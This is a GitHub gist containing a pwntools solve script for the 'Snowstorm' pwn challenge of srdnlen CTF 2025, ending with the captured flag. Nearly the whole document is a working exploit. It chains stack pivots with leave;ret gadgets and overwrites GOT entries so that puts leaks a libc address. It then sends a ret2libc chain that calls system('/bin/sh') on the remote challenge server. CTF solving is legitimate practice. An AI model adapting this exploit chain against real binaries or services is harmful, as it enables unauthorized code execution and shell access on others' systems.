Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active April 27, 2025 17:17
Show Gist options
  • Save lebr0nli/22a477ab151a8131b771b818cf0bde8d to your computer and use it in GitHub Desktop.
Save lebr0nli/22a477ab151a8131b771b818cf0bde8d to your computer and use it in GitHub Desktop.
srdnlen CTF 2025 - Snowstorm (pwn)
#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T
binary = ELF("./snowstorm_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.39.so")
context.binary = binary
if args.NEWW:
context.terminal = ["tmux", "neww", "-e", "GDB=pwndbg"]
else:
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = context.binary.arch
context.bits = context.binary.bits
context.cyclic_size = context.binary.bytes
HOST, PORT = (args.NC or "nc snowstorm.challs.srdnlen.it 1089").split()[1:]
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT)
GDB_SCRIPT = """
break *pwnme+103
break *pwnme+155
continue
""".strip()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#"))
def strb(data: T.Any) -> bytes:
return data if isinstance(data, bytes) else str(data).encode()
def cint(n: int, bits: int, signed: bool) -> int:
return {
(8, True): ctypes.c_int8,
(8, False): ctypes.c_uint8,
(16, True): ctypes.c_int16,
(16, False): ctypes.c_uint16,
(32, True): ctypes.c_int32,
(32, False): ctypes.c_uint32,
(64, True): ctypes.c_int64,
(64, False): ctypes.c_uint64,
}[(bits, signed)](n).value
def log_leak(data: int | bytes | str, name: str = "leaked", use_hex: bool = True) -> None:
if isinstance(data, (bytes, str)):
info(f"{name}: {data}")
return
if use_hex:
data = hex(data)
info(f"{name}: {data}")
def demangle(val: int, is_heap_base: bool = False) -> int:
if not is_heap_base:
mask = 0xFFF << 52
while mask:
v = val & mask
val ^= v >> 12
mask >>= 12
return val
return val << 12
def mangle(heap_addr: int, val: int) -> int:
return (heap_addr >> 12) ^ val
def conn() -> tube:
if args.LOCAL:
# ./solve.py LOCAL
return process([binary.path])
elif args.GDB:
# ./solve.py GDB
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# ./solve.py
return remote(HOST, PORT)
def exploit() -> bool:
with conn() as io:
buf1 = 0x404F00
buf2 = 0x404A00
read_again = 0x4015BD
leave_ret = 0x00401681
pop_rdi = 0x001AE710
ret = 0x00401690
puts = 0x401100
stderr = 0x4040A0
log_leak(buf1, "buf1")
log_leak(buf2, "buf2")
# move rbp to buf1, read again
io.sendafter(b"(max 40): ", b"0x40")
payload = flat(
{
0x30: buf1 + 0x30,
0x38: read_again,
# 0x38: 0xdeadbeef,
},
length=0x40,
)
io.sendafter(b"\n> ", payload)
# put ret2main rop chain to buf1
# make rsp to buf1, rbp to buf2, and read again
io.sendafter(b"(max 40): ", b"0x40")
payload = flat(
{
0x0: buf2 + 0x30,
0x8: read_again,
0x10: buf1,
0x18: binary.symbols["main"],
0x28: p32(4),
0x2C: p32(4),
0x30: buf1,
0x38: leave_ret,
},
length=0x40,
)
io.sendafter(b"\n> ", payload)
# put got hijack rop chain to buf2
# make rsp to buf2, rbp to stderr + 0x30, and read again
io.sendafter(b"(max 40): ", b"0x40")
payload = flat(
{
0x0: stderr + 0x30,
0x8: read_again,
0x10: binary.got["sendfile"] + 0x30,
0x18: read_again,
0x28: p32(4),
0x2C: p32(4),
0x30: buf2,
0x38: leave_ret,
},
length=0x40,
)
io.sendafter(b"\n> ", payload)
# write puts got to stderr
# make rsp to buf2, rbp to sendfile + 0x30, and read again
io.sendafter(b"(max 40): ", b"0x40")
payload = flat(
{
0x00: binary.got["puts"],
0x28: p32(4),
0x2C: p32(4),
0x30: buf2 + 0x10,
0x38: leave_ret,
},
length=0x40,
)
io.sendafter(b"\n> ", payload)
# got hijack
# make rsp to buf1, finish the rop chain
io.sendafter(b"(max 40): ", b"0x40")
payload = flat(
{
0x00: ret,
0x08: puts,
0x10: ret,
0x18: ret,
0x20: ret,
0x28: p32(4),
0x2C: p32(4),
0x30: buf1 + 0x10,
0x38: leave_ret,
},
length=0x40,
)
io.sendafter(b"\n> ", payload)
io.recvuntil(b"on.\n")
io.recvline()
io.recvline()
leaked = int.from_bytes(io.recv(6), "little")
log_leak(leaked)
libc.address = leaked - libc.symbols["puts"]
log_leak(libc.address, "libc base")
io.recvuntil(b"(max 40): ")
io.sendline(b"500")
payload = flat(
{
0x38: pop_rdi + libc.address,
0x40: next(libc.search(b"/bin/sh")),
0x48: libc.symbols["system"],
}
)
io.sendafter(b"\n> ", payload)
io.interactive()
return True
def main() -> None:
if not args.LOOP:
exploit()
return
cnt = 0
saved_addresses = {}
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))):
saved_addresses[b] = b.address
# ./solve.py LOOP
while cnt := cnt + 1:
info(f"Attempted {cnt}")
try:
if exploit():
return
except Exception as e:
debug(str(e))
# clean up the addresses we set during exploit
for b, addr in saved_addresses.items():
if b.address != addr:
b.address = addr
if __name__ == "__main__":
main()
# srdnlen{39.22N_9.12E_4nd_I'll_C0n71Nu3_70_7R4n5M1t_7h15_M355463}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment